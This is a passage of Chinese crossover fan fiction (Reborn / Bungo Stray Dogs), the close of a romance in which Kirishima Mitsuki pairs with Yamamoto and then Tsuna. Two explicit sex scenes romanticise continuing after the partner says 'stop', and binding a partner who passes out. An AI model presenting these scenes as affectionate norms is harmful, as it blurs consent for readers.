平心而论,山本武是斯库瓦罗在彭格列里最为欣赏的一个。 剑术通透,性格和人品也无可挑剔。 但那关他什么事? 在斯库瓦罗眼里,小混账窝在沙发里,乖巧地看书的样子仿佛还在昨天。 小混账问妈妈为什么不喜欢他。 小混账又说,没关系,就算妈妈不喜欢他,他也会一直喜欢妈妈。 斯库瓦罗对那对父母没什么特别的感情,在阿莱西奥出生以前,斯库瓦罗甚至都很少回来。 都怪阿莱西奥整天追在他屁股后面,“哥哥哥哥”地叫。 死小孩,说话温声细语的做什么,跟他一样吼着说话有山本武什么事。 “你死心吧。”斯库瓦罗眯起眼,对着山本武道,“我会继续追杀你的。” 雾岛光希左看看,右看看,发觉在斯库瓦罗说完这句话后,山本武紧绷的神经反倒放松了些。 “我不在意这个。”山本武的语气怀念,唇角勾着个爽朗的弧度,“真期待啊,就跟光希上学的时候天天约我去荒郊野岭散步一样。” 斯库瓦罗沉默。 斯库瓦罗暴露。 雾岛光希捂住耳朵,听见斯库瓦罗说他要砍死山本。 雾岛光希不理解斯库瓦罗生气的原因,就像他不理解山本武为什么能把自己的那些举动理解为约会一样。 练剑的人真难懂啊- 雾岛光希找不出不喜欢山本武的理由。 同样地,他也找不出为什么自己明明只是主动地亲了一下对方,清醒过来的时候已经腰酸背痛的理由。 雾岛光希很快发现了能听到那个莫名其妙的声音的坏处。 山本武的心理活动在上他的时候格外丰富,他的心理活动越丰富,雾岛光希就越紧张。雾岛光希抿着唇一言不发,还以为自己能熬过去,结果“人面兽心”的“山本君”扣着他的腰,目光下扫,心声里冒出一句【原来能到这里吗】。 雾岛光希忍无可忍,低声骂了句:“不准说了。” 一句话也没说的山本武没替自己辩解,只是一眨不眨地看着他。 雾岛光希压根不知道他别开眼睛,用这种命令的口吻说话时有多漂亮。 不准、不要——雾岛光希常说的这两个词,被他这样咬着吐出来,给人以一种[不管我落入什么境地也是你顶头上司]的意味,反而成了山本武从国中时期就爱欺负他的原因。 山本武笑着说“好”。 雾岛光希刚松了口气,呼吸就立即变得艰难起来。 不讲道理的东西在他的身体里横冲直撞,雾岛光希吃力地说出一句完整的“停下”时,才发现自己的手背上不知道什么时候被咬了个蚊子包。 雾岛光希暗道完蛋。 可惜夏马尔的真话蚊不允许他暗道,雾岛光希被撞得闭不了嘴,偏偏一张嘴就会说出令人羞耻的话。 山本武说:“光希,原谅我好不好?” 雾岛光希:“嗯……我没有,唔,没有……” 山本武笑了笑:“明天是个好日子,我们去西西里结婚吧。” 雾岛光希:“你闭……啊!山,山本武,我要杀了你。” 事情发展到最后,雾岛光希已经不太能记起自己说了什么话了。他的手被按在头顶,感觉自己的五脏六腑都移了位,身体好像有一团火在烧,不自觉地发出迎合。 山本武看着他茫然地发出些音节,又问他:“我第一次向光希告白的时候,光希原本的回答是什么?” 雾岛光希十三岁的时候,只说他要想想,没立即给出回应。 光希碰上了ghost。 光希失去了记忆。 光希把他当成陌生人,身边有了新的同伴。 山本武不生气。 山本武觉得只要光希开心就好了。 哈哈,山本武怎么可能不生气,山本武每次气得半死,就去微笑着气狱寺隼人一下。 狱寺隼人的梦想是把山本武炸上天。 如之前在群马碰见光希时所说,就算光希有了所谓的交往对象,山本武也没有放手的打算。 本来就是他的。 要不是时运不济,命运多舛,哪轮得到一群幼稚的小鬼在光希周围上蹿下跳。 二十四岁的时候,快把自己气死的山本武总算得到了答案。 一个很轻的“好”字一落下,雾岛光希就连那些茫然的音节也发不出来了。 山本武就好像要在一个晚上把过去的十年都找回来似的,雾岛光希在这之后整整挺尸了二十四小时,能下床后就恼羞成怒地把山本武揍了一顿。 说是揍,但由于山本武压根不还手,雾岛光希也根本下不了狠手。 他一下更生气了。 生气之余还有点好奇,每次看到神清气爽的山本武,雾岛光希就问他“有这么舒服吗”。 山本武:“其实我也很累。” 山本武:“光希的腰不好,所以才没让光希这么做。” 天然黑不愧是天然黑,短短两句话,就让雾岛光希打消了一星期要反攻的念头。 一星期以后,察觉自己被蒙骗,挺尸习惯的雾岛光希索性也摆烂了。 雾岛光希之前一直觉得把敌人当成恋人的山本武很心大。 可能成为沢田纲吉的左右手,靠着时雨金时在剑术方面登峰造极,被Reborn评价为天生的杀手的人,能真的心大到哪里去。 “你是不是在算计我。” “光希当初要是不算计我,我也不会注意到光希。” “你的意思是我自作自受?” “怎么会,我的意思是全都是我的错。” “……” 雾岛光希算计未半而中道崩殂。 雾岛光希去暗算了夏马尔。 夏马尔含泪拿着杀虫剂灭蚊。 夏马尔八卦地问他的蚊子又没有操纵精神的功效,你什么时候喜欢的山本? 没了真话蚊,雾岛光希压根不承认这点。 他的脑子不自觉地回忆起山本武背着自己走在并盛的夜色下的样子,还有不管什么时候回头都能看到的少年的身影。 雾岛光希说:“他都说用剑士的名义起誓了,我有什么办法。” 山本武站在不远处,他来接雾岛光希回家。 见夏马尔用[你这都不生气?]的眼神看着自己,山本武礼节性地对对方点了下头。 “光希都这么说了,我有什么办法。” 因勾搭某国皇妃而成为脚踏2062船的国际通缉犯的夏马尔沉默,他看着自己的两个后辈,就仿佛看到了两个恋爱脑。 可惜他不敢把这话说出来。 碧洋琪端着有毒料理,在他背后跟背后灵一样虎视眈眈。 夏马尔表情僵硬,只能在碧洋琪的威胁中说“恭喜”。 初恋是一辈子喜欢的人。 这种夏马尔以为这世界上根本不存在的,如小孩子过家家般的事,竟然在他眼前—— 在这世界上强得离谱的两人之间发生了。 不过。话说回来…… 夏马尔陷入沉思,看着雾岛光希脖子上的围巾。 斯库瓦罗知道山本要改口喊他哥哥了吗?—— 作者有话说:*斯库瓦罗:你去死吧[愤怒] *再写一个线就完结了,到时候福利番外再写两个,一个hagi还有个你们想看啥魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第64章【终章】 第64章 沢田纲吉的人生是半推半就的人生。 变成星星的爸爸莫名其妙就变成了黑手党家族的门外顾问,莫名其妙地有个小婴儿来到自己家成为家庭教师,莫名其妙地有数不清的人来暗杀他,莫名其妙地和大家成了朋友,莫名其妙地从口口声声说“我才不会当黑手党”,变成真正的彭格列十代目。 起初没一件事是沢田纲吉自愿的,最后也没一件事是沢田纲吉想要舍弃的。 在光希的幻镜里,再次看到十四岁的自己从地上爬起来,呐喊着“把光希——把我的朋友还给我!”时,二十四岁的沢田纲吉很轻地笑了下。 他的眼睫轻阖,笑容里带了些无可奈何。 都是小孩子才会说的话。 就像他面对敌人已经不会手下留情了一样,光希才不是他的呢- 接手彭格列后没多久,沢田家光就宣布了退休。由沢田纲吉所率领的新彭格列大换血,借口去哪极挖石油的男人终于有了借口和自己心爱的奈奈过上幸福的生活——虽然他只是每天在并盛的家里毫无形象地睡大觉而已。 在去探望妈妈的路上,沢田纲吉看到了[帕比]。 雨鹰站在电线杆上,本来还在洁癖发作地整理它自己的羽毛,视线捕捉到路边的沢田纲吉的那一刻,立即傲娇地别过脸去,高昂着脑袋,仿佛在说地上的蝼蚁,它才是最强的。 换做十四岁的狱寺隼人,一定会嚷嚷着要把它打下来。 可容易被激怒的狱寺隼人也二十四岁了,青年轻嗤一声,只是说:“阿莱西奥养的东西真是一只比一只怪。” 狱寺隼人是真心与太宰治合不来。 但沢田纲吉倒不觉得有什么关系。 纳兹从沢田纲吉的肩膀上探出个脑袋时,帕比就好奇地低了下头。它看上去对这金灿灿的小狮子很感兴趣,毕竟就地面上的生物而言,狮子在自然界几乎没什么天敌。 沢田纲吉笑了笑,刚抬起手,帕比就落在了他的手臂上。 一大一小两只玩起了二人转。 缩小版的纳兹因为这体型比自己大一倍的生物而在路上躲来躲去,帕比反而开心地飞在它后面,似乎是想跟它玩。 狱寺隼人被帕比的两副面孔弄得沉默片刻,仿佛看到了当年既喜欢欺负沢田纲吉,又会偷偷看沢田纲吉的阿莱西奥。 站在街尾的的雾岛光希穿着黑色的风衣,他两只手插在口袋,正一言不发着,沢田纲吉却率先侧过脸,朝他露出清浅的笑容。 “光希。”沢田纲吉说,“你看起来已经恢复记忆了啊。”- 雾岛光希发觉沢田纲吉是个很神奇的人。虽然他国中时期也很神奇,但长大后就更神奇了。 雾岛光希其实有些好奇沢田纲吉刚接触家族事务时是怎样的一副崩溃姿态,可惜这个话题问出来不太礼貌,雾岛光希最后还是忍住了。 被邀请来沢田家做客,雾岛光希虽然有些想去厨房帮忙,但生怕他把大家毒死的狱寺隼人严防死守,索性自己在厨房切菜了。 雾岛光希被赶到了庭院晒太阳,他看着帕比和纳兹在草地上蹦来蹦去,想起国中时期的沢田纲吉和纳兹一样,尽管一开始看着胆小,但熟了以后才发现,那家伙哪是胆小,每次挑战的都是比他自己强几倍的敌人,没人比沢田纲吉胆大了。 “太宰君对你来这里没有意见?” 木制的托盘被放到一边,沢田纲吉顺理成章地在雾岛光希身边坐下。 檐廊下绑了晴天娃娃,那是沢田纲吉上学时期,大家吵闹着来家里给沢田纲吉过生日时绑上的,雾岛光希那时问狱寺隼人挂个上吊的幽灵在那里干嘛,狱寺隼人面无表情,回了他一句“不准说是上吊的幽灵,你在诅咒十代目吗”。 那时的沢田纲吉看着一脸无辜的雾岛光希和一脸暴躁的狱寺隼人,欲言又止地担心他们吵起来,于是就一直假装路过,一分钟从他们身后路过了三次。 沢田奈奈看在眼里,一直没把这东西取下来。 雾岛光希:“……他以为我还在出差。” 沢田纲吉轻笑,收回看他的目光:“原来光希也会撒谎。” 这句话令雾岛光希不得不转过头去看他。 “怎么现在反而变成你嘲笑我了?” 沢田纲吉一脸无害:“我可没有嘲笑光希。” 雾岛光希眯起眼,切入正题:“你怎么知道的我能使用火炎?” ghost说在其他平行世界里,雾岛光希不会使用火炎,因此是个变数。 可沢田纲吉似乎从一开始就相信雾岛光希能做到,才拜托入江正一来找他,顺带让雾岛光希获得了第一枚戒指。 尽管是假冒伪劣产品,但吉尔菲戈尔的那枚指环,确实给了雾岛光希练习使用火炎的机会。 沢田纲吉低头,看着跑到自己脚边的纳兹:“我不知道。” 这句话雾岛光希一个字也不信。 “你早就预料到了今天的局面吧?”雾岛光希又问,“你在那本书上写那句话的原因也是这个?” ——人会在逃避命运的路上,遇见自己的命运。那才是你所选择的,真正属于你的命运,而逃离之前的命运不是命运,那叫枷锁。 “只是因为觉得适合光希才写上的。”沢田纲吉的回答轻描淡写,伸手任由纳兹蹭着自己的指尖。 雾岛光希低声:“沢田纲吉。” 雾岛光希是港口黑手党的人,这么称呼另一个家族的首领显然不合适。 这就是沢田纲吉的目的所在。 “我小时候刚认识光希的时候,光希也这么连名带姓地叫我。” 雾岛光希一愣,听见沢田纲吉这么说。 “后来就变成了沢田君,偶尔开心的时候会叫我阿纲,生气之后就会变成原样。” “不过更多的是长大以后,光希称呼我为彭格列的那位。起初听到的时候我真的很伤心,但仔细一想,光希把什么都忘了,我没有可以伤心的理由。” 沢田纲吉的口吻里没有敌意,也没有谴责的意思,反而带了几分揶揄,轻轻松松地就反客为主。 手背传来柔软的触感,雾岛光希猜测那大概是在他和沢田纲吉之间打滚的纳兹,他想要低头去看,目光却被沢田纲吉看过来的棕金色的眼睛所吸引。 沢田纲吉一眨不眨地注视着他:“就算只有两个人的时候,光希也不能像以前一样叫我吗?”- 这顿饭吃得有些古怪。 狱寺隼人发现去庭院里晒了个太阳后,雾岛光希再次对自己尊敬的十代目退避三舍。 当然,这种退避三舍并没有不好的意思,以狱寺隼人对雾岛光希的了解,大概是十代目对他说了什么令他不知道怎么回答的话,这家伙才吓成这样。 帕比在这方面是个叛徒。 吃饱喝足以后,帕比不愿意进匣子,索性在庭院里睡大觉。 由于抱着个巨大的老鹰回去有些奇怪,雾岛光希不得不延长了在并盛停留的时间。 在此期间,狱寺隼人接到了个电话。雾岛光希看见他的神色严肃,和沢田纲吉说了几句后就匆匆走了。 雾岛光希猜测他多半是去处理彭格列的事物,等狱寺隼人一走,才后知后觉地发现这下整个屋子里,自己能说上话的就只剩沢田纲吉了。 雾岛光希开始反思自己来找沢田纲吉的原因。 “就跟出轨一样。”弗兰默默地,在旁边一边搭着积木,一边发出吐槽。 雾岛光希盯着他看了会:“你又为什么会在这里?” 弗兰的积木塔摇摇欲坠:“白痴长毛队长前辈让me来取文件,虽然大概率是听说了阿莱西奥前辈在这里,所以才让me来盯着的。” 少年顶着青蛙头套,说话时面无表情,说的话也全然不顾别人死活:“唯一的收获是王子括号伪在来的船上被白痴长毛队长送的特产撞进了海里,太好了,me终于可以换搭档了。” 雾岛光希:“玛蒙最近似乎不出外勤,你要和路斯利亚做搭档吗?” 弗兰的身形以肉眼可见的程度一僵,他终于意识到自己黑暗一片的未来,于是抬起头,盯着雾岛光希看了会,发出幽幽的声音:“阿莱西奥前辈什么时候学会的报复人?” 雾岛光希:“在你刚刚说我和出轨一样的时候。” 弗兰:“阿莱西奥前辈骗自己的首领在出差,大老远地跑来和彭格列约会,这不就是出轨?” 雾岛光希:“小朋友日语说的不好就不要说了。” 雾岛光希说完,惊奇地发现自己原来也有可以这么说别人的一天。 弗兰乖巧地安静几秒。 小青蛙掏出手机,呱呱呱地给斯库瓦罗发短信:[阿莱西奥前辈没否认约会的事] 他字还没打完,手机就被雾岛光希没收了。 弗兰:“me不是小孩子,请阿莱西奥前辈尊重下me是伟大的幻术师的事实。” 雾岛光希不以为意:“你要不是小孩子,我就和扯你师父头发一样扯你了。” 六道骸的凤梨发型在雾岛光希手上变成过顺毛。 正是因为知道雾岛光希在里世界的恶名,弗兰才没真的用幻术像捉弄贝尔一样捉弄他。 于是当沢田纲吉从卧室里出来时,看到的就是弗兰面无表情地继续堆着积木塔的样子。 “斯库瓦罗找你吗?”沢田纲吉走过来,向雾岛光希问道。 雾岛光希瞥了眼手机上的消息:“应该是让他来找你的。” 虽然文件的确是要带给沢田纲吉,但堆着积木的弗兰觉得彭格列真够可怕的。和彭格列比起来,白痴长毛队长的手段就是幼稚园水平。 他在外面树上的时候,明明听到彭格列对纳兹说了,要和帕比交朋友,最好把帕比哄睡着。 随着增加的重量,摇摇欲坠的积木塔终于塌了。 弗兰有点像吐槽一句“可怜的阿莱西奥前辈,被彭格列玩弄于鼓掌之中”,一抬头却发现沢田纲吉正微笑着看着自己。 弗兰:“……” 弗兰屈服了:“boss有密报让me带过来,me刚刚可什么都没说。”- 沢田纲吉的确不是雾岛光希印象里的宇宙无敌大好人。 他都当上教父了,他能好人到哪里去。 至少在雾岛光希这方面,沢田纲吉确实利用了自己外表可爱的匣兵器。 他对纳兹说:“再多给我点时间吧。” 纳兹嗷地叫了一声,很听自己温柔的主人的话,开始消耗帕比的精力,和它玩起追逐战了。 于是在雾岛光希看来,帕比自从来到并盛后,就没什么醒着的时候。要不是能感受到帕比的火炎波动,他都以为帕比是水土不服,要在这里睡死了。 相处几天,雾岛光希发现工作工作到昼夜颠倒的沢田纲吉身体也没比自己好到哪里去。有次雾岛光希看到他在沙发上睡着,去房间拿了条毯子,靠近了才发现沢田纲吉的体温有些高,一量38.6℃。 雾岛光希试图拨打狱寺隼人的电话,赶回来的狱寺隼人神色古怪,憋了半天,就憋出一句:“你给十代目做饭了?” 雾岛光希:“……” 雾岛光希:“你再胡说八道我就给你做饭吃。” 想起被碧洋琪支配的恐惧,狱寺隼人的表情更加扭曲。 “好像有哪里不对。”雾岛光希狐疑道,“以你的性格,现在不应该把最近的医生绑来才对吗。” “我是什么没有生活常识的混混吗。”狱寺隼人面无表情,“再说了……” 十代目根本没有生病。彭格列有专门的医生,以他们对十代目的看重程度,十代目平时打个喷嚏他们就要互相指责致力于把对方踩死了。 首领的身体健康是很重要的。 沢田纲吉的身体好到让他自己去面对一支敌人的小队都不带喘气的。 “你再说了半天怎么说不出一个字。”雾岛光希不知道狱寺隼人内心的挣扎,很没有良心地谴责道,“上班上得反应力都没了。” 狱寺隼人一言不发。 他侧过脸,看着角落里同样一言不发的弗兰,难得有这种有气发不出来的时候。 一边是十代目,一边是幼驯染。 那还是十代目比较重要。 狱寺隼人面不改色,强撑着做出了一个违背尊严的决定。 “是啊。”他的语气淡淡地,“我就是上班上得反应力都没了,半天组织不出一句话的家伙。” 雾岛光希的表情跟见鬼了一样。 弗兰:“狱寺前辈。” 弗兰:“辛苦你了。” 不愧是号称彭格列左右手的男人,忍耐力和意志力真是强大得惊人- 大概是相处得时间多了,起初那份许久未见的不适感被雾岛光希抛之九霄云外。 沢田纲吉有时候会在清晨听到院子里雾岛光希的声音。 青年怕吵醒他,刻意压低了声音,可沢田纲吉被各式各样的人暗杀了这么多年,听力早比一般人敏锐。 “帕比。”雾岛光希看了眼躲在自己腿后的纳兹,对自己的匣兵器教训道,“你总是欺负它做什么。” 纳兹的眼睛大大的,非常乖巧地叫了一声。 帕比炸了毛,它似乎发现了自己新朋友的庐山真面目,不仅生纳兹的气,还生雾岛光希的气,啪嗒一下仰面倒地,看上去是把自己气死了。 雾岛光希沉默:“……我只是让你温柔一点。” 帕比扭过脑袋,继续四脚朝天。 纳兹歪了歪头,从雾岛光希的腿后刚踏出一步,帕比就立即拍打着翅膀扑了上来,似乎是故意要吓它一跳。 纳兹跟着沢田纲吉什么大肠面没见过,不仅没被吓到,反而用脑袋顶了顶帕比的爪子,嗷呜嗷呜地不知道说了什么。 帕比一僵,这回是真的四脚朝天了。 雾岛光希:“……” 雾岛光希觉得自己的匣兵器中了邪,他向当初给他这个的加百洛涅询问,电话里迪诺的语气愉快,只是说“匣兵器的性格像主人,阿莱西奥你以前碰到阿纲不也是这样”。 雾岛光希:“我哪有四脚朝天。” 迪诺:“哈哈,你不是四脚朝天,你是害羞。” 雾岛光希:“我也没有害羞。” 迪诺:“我可是亲眼见到了哦。虽然我一开始以为你是因为真的想杀了阿纲才那么关注他,但事实也不是那样嘛。” 雾岛光希:“……不是那样是哪样?” 迪诺感慨:“不管和谁在一起,你的目光都会不由自主地落在阿纲身上,阿纲开心你就开心,阿纲要是被吓到,你就生吓他的人的气。” 雾岛光希:“造谣。” 迪诺:“你要是真想杀他,当初保护他做什么?” 嘟地一声,雾岛光希心平气和地挂断了电话。 他朝二楼看去,然而二楼的窗户拉着窗帘,沢田纲吉看着没醒。 为了证明自己对沢田纲吉没有别的心思,雾岛光希打算去吓他一跳。 房间里没有开灯,阳光透过厚重的窗帘,被削弱了几分,使得卧室里的环境昏暗不少。 沢田纲吉的呼吸均匀,的确在睡觉。 雾岛光希在床边盯着他看了五分钟,把人摇醒的手最终还是没有抬起。 “可恶的沢田纲吉。” 沢田纲吉听到他骂道。 嘴上一点不饶,走出门时倒是轻手轻脚。 十年过去,光希还是一点没变- 沢田纲吉的策略是顺其自然。 毕竟他和光希的关系在十年前本来就不错,等光希习惯了和他相处,一切又会变回原来的样子。 这个策略的确出奇得有效。 从并盛回去以后,雾岛光希和沢田纲吉依旧保持着联络。 从沢田纲吉发一句他回一句,到偶尔会主动地给沢田纲吉发消息,一切都在沢田纲吉的掌握之中。 雾岛光希去那不勒斯出差的那天,沢田纲吉去接了他。 “……你是首领吧。”看见机场里的沢田纲吉,雾岛光希安静片刻,“这像样吗。” 沢田纲吉不以为意:“我也会去接隼人。” 雾岛光希:“你是不是又忘记我不是彭格列的成员了。” 沢田纲吉笑笑:“彭格列和港口黑手党是合作的关系,难道因为光希不是彭格列的成员,我就必须和光希绝交了吗?” 雾岛光希不明白“你一个首领来接机做什么”的话题是怎么扯到层面这么高的纬度上的。 不过既然沢田纲吉都这么说了,雾岛光希也没再反驳。 他去工作的时候,沢田纲吉就给自己放了假。 得知沢田纲吉的到来,那不勒斯的各个黑手党首领们诚惶诚恐的,他们生怕沢田纲吉在自己的地盘受到袭击,因此派了各自的部下假装游客在附近清除威胁。 正是因为这样,当他们看到有个小孩在向沢田纲吉推销花朵的时候,眼球都快吓得掉下来了。 出于安全考虑,他们的第一反应是直接用枪崩了那小孩脑袋。 可沢田纲吉是个更喜欢小孩的人,如果这个小孩只是个平民,这个举动无异于对沢田纲吉的挑衅。 所幸那小孩也真是个平民。 “爸爸当初就是用这个花追到妈妈的。” 沢田纲吉:“这是你爸爸教你的推销词吗?” “哇。”没想到沢田纲吉的意大利语说得很好,本来只是想骗骗外地人的小孩惊讶,“你是意大利人呀?” 可能是因为小时候就养了只不省心的蓝波的缘故,沢田纲吉在面对小孩时很有耐心:“我是日本人。” “我的偶像也是日本人。”那小孩摇了摇头,“但他是混血,爸爸说是因为他附近的治安才好起来的。” 沢田纲吉眨了眨眼:“是这样吗?” “是啊是啊。”小孩点头,“妈妈说在我出生以前,附近的地头蛇可坏了,老是三天两头上门收他们保护费,直到那个人出现以后,附近的家伙才不敢明目张胆地做坏事。我长大以后也要像那个人一样当黑手党。” 沢田纲吉无奈:“当黑手党可不是什么好事。” 小孩:“看在你和我偶像来自同一个国家的份上才不骗你的。” 沢田纲吉叹了口气:“怎么自己在外面卖花?你妈妈呢?” “妈妈的腿受伤了。”小孩整理着自己推车里的鲜花,“因为老板说妈妈是女人,所以扣了妈妈一半的工钱,妈妈很生气地上门理论,结果腿受伤了不说,工作也没了。” 沢田纲吉沉默片刻。 他摸了摸小孩的脑袋,看向一旁指示牌下汗流浃背的几个不同黑手党的成员:“我相信一定会有人为你妈妈讨回公道的。” [查!] 耳机另一头,那几个不同的黑手党的上司发出咆哮。 [丢人丢到彭格列去了!快去查查哪个傻叉在我们地盘上搞事!] 沢田纲吉付钱买了束花。 小孩说一束花用不着这么多钱。 “花的价值是人决定的。”沢田纲吉微笑,“你不是说你爸爸就是用这个追到的你妈妈吗?我也正在追人呢。” 雾岛光希平静地看着这一幕。 那不勒斯的街道人来人往,这是个充满浪漫的城市,不是适合逃跑的地方。 沢田纲吉把花送给他的时候,雾岛光希没怎么感到意外,反而平静地得出了结论:“所以不光是那本书,帕比和温度计都是你搞的鬼。” 沢田纲吉:“讨厌我了?” 拉着推车的小孩眼睛亮亮的,好奇地看向这边。 雾岛光希停顿几秒,没办法,只能接过了花,闷闷地回了句“没有”- 当初弗兰的吐槽一语成谶,雾岛光希不理解这微妙的“偷情”感是哪来的,他因此感到稍稍的羞耻,沢田纲吉却跟没事人一样。 听说了这件事的沢田家光:“喔,那雾岛岂不是要叫我爸爸了?” 沢田奈奈欢天喜地的:“哎呀,是以前那个银发的孩子吗,那我就是光希的妈妈了?” 面对沢田家光,雾岛光希还能眯起眼反驳一句“你在说什么鬼话”,面对沢田奈奈,雾岛光希的态度就缓和了不少。 不光是雾岛光希,沢田奈奈是彭格列家族所有重要成员的“妈妈”。 他反驳不了沢田奈奈,脑子放空的时候就索性在那里“嗯?”“啊”“哦”,以至于沢田纲吉发现的时候,雾岛光希已经答应了一堆根本没有发生的事。 沢田纲吉担心他反应过来后再次吓跑,眼疾手快地把电脑关上了。 雾岛光希:“我没那么容易受到惊吓。” 沢田纲吉:“两个月前,我第一次亲你,你吓得一个星期没有理我。” 雾岛光希:“……我只是把事情和太宰他们说了而已。” 沢田纲吉有些意外:“他们知道竟然还会让你一个人出来?” 雾岛光希瞪他:“我已经处理好了,你把我当什么了。” 沢田纲吉嘴上没反驳他,心里却想着太宰君这回又是在哪里给自己挖了坑。 雾岛光希一开始也不是没有挣扎过,他问沢田纲吉自己有什么可值得被喜欢的,沢田纲吉回忆说“那天大家给reborn过生日,我还以为是在给我过,在心里吐槽着我的生日明明是明天,话还没说出来,光希你就回了句[所以连办两天生日派对吗]”。 十四岁的沢田纲吉没和朋友说过自己生日,沢田奈奈一时之间也没想起来这回事,结果反倒是口口声声说沢田纲吉是敌人的雾岛光希记得最清楚。 十四岁的狱寺隼人大惊失色,一副马上要去切腹谢罪的姿态,沢田纲吉反过来安慰他,余光却瞄到雾岛光希为了打击山本武,在旁边得意洋洋地炫耀“我可是准备了完美的礼物,想不到吧,山本君,你还是输我一筹”。 雾岛光希解释:“这叫知己知彼百战百胜。” 沢田纲吉:“类似的事还有很多件,就算光希是我的敌人,那在所有敌人里,我也最爱光希。” 雾岛光希又没招了。 他有时候觉得沢田纲吉身体里的意大利血统比自己还要纯正,他没招了就开始摆烂,底线被沢田纲吉拉得越来越低。 弗兰:“阿莱西奥前辈站着是因为喜欢站着吗?” 雾岛光希:“你话太多了。” 似乎是考虑到他的身体,就算交往了很长一段时间,沢田纲吉也不太对他做那种事。这次是雾岛光希自找的,雾岛光希一开始压根没把沢田纲吉不太对他做那种事往顾惜他身体方面想,单纯以为是男人到了一定年纪就不太行,还拐弯抹角地安慰沢田纲吉,结果年轻的教父勉强笑着说了句“我没有生气”,当晚雾岛光希就中途失去了好几次知觉。 身体涨得快要死掉,雾岛光希模模糊糊地感到有什么东西在下面进进出出,腿下意识地想合拢,结果也只是令对方的动作更加过分了而已。 被硬生生地弄醒以后,雾岛光希在镜子里看到了自己失态的样子。他想把那株修剪干净的花从前面拔出去,结果手不知道什么时候也被绑了起来。雾岛光希断断续续地意识到,原来沢田纲吉这人也会生气,他已经不是当初那个会轻易害羞,抱头说“不要这样啊!”的少年了,被斯巴达教师逼迫成为首领的沢田纲吉,现在是钮钴禄沢田纲吉。 弗兰:“不听me言……” 雾岛光希:“你的新搭档是列维。” 弗兰:“。” 弗兰:“me要举报阿莱西奥前辈以权谋私,白痴长毛队长因为一句哥哥就被耍得团团转。” 雾岛光希语重心长:“弗兰,这是个肮脏的世界,你师父比我还要阴险。” 弗兰:…… 弗兰想了想自己那个被自己气得没招了的师父。 弗兰沉痛:“阿莱西奥前辈。” “嗯?” “你只是记恨西秀当年用幻术欺负彭格列和吓你的事吧。” “话太多了。” “……所以me的搭档可以换一个吗。” “列维不会离开xanxus身边,我刚刚是骗你的,斯库瓦罗怎么可能采纳我的意见。” 弗兰决心离这群肮脏的大人远一点- 沢田纲吉的人生是半推半就的人生。 和十四岁满头雾水的少年不一样,又过了两年,二十六岁的沢田纲吉对一切都很有规划。 雾岛光希醒来的时候,问自己手上的戒指是怎么回事。 沢田纲吉说普通的A级指环打架不方便,有了这个帕比也会更有精神。 雾岛光希面不改色:“不是指环,是戒指。” 沢田纲吉无辜:“光希觉得是戒指,那就是戒指吧。” 雾岛光希哼了声,没把戴在无名指上的指环摘下来。 沢田纲吉工作的时候,雾岛光希就在院子里和纳兹玩。 楼下传来沢田奈奈和沢田家光聊天的声音,还有和国中时代一样叮叮当当的做饭的声音。 沢田纲吉看到雾岛光希伸手,指尖戳了戳纳兹的脑袋。 “其实他直接说是戒指我也不会逃跑。” 纤长的睫毛垂下来,雾岛光希拂去纳兹背上的帕比揪下来的羽毛,温柔地笑了笑。 “算了。我也喜欢他这件事,下次再和他说吧。”—— 作者有话说:*完结啦完结啦!撒花 *看了眼评论区,好像大家想看的不太一样,那我,福利番外,看着写吧[点赞] *福利番外要结算后可以更新,一般是七天以后,我这七天摸会鱼先,嘿嘿嘿魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m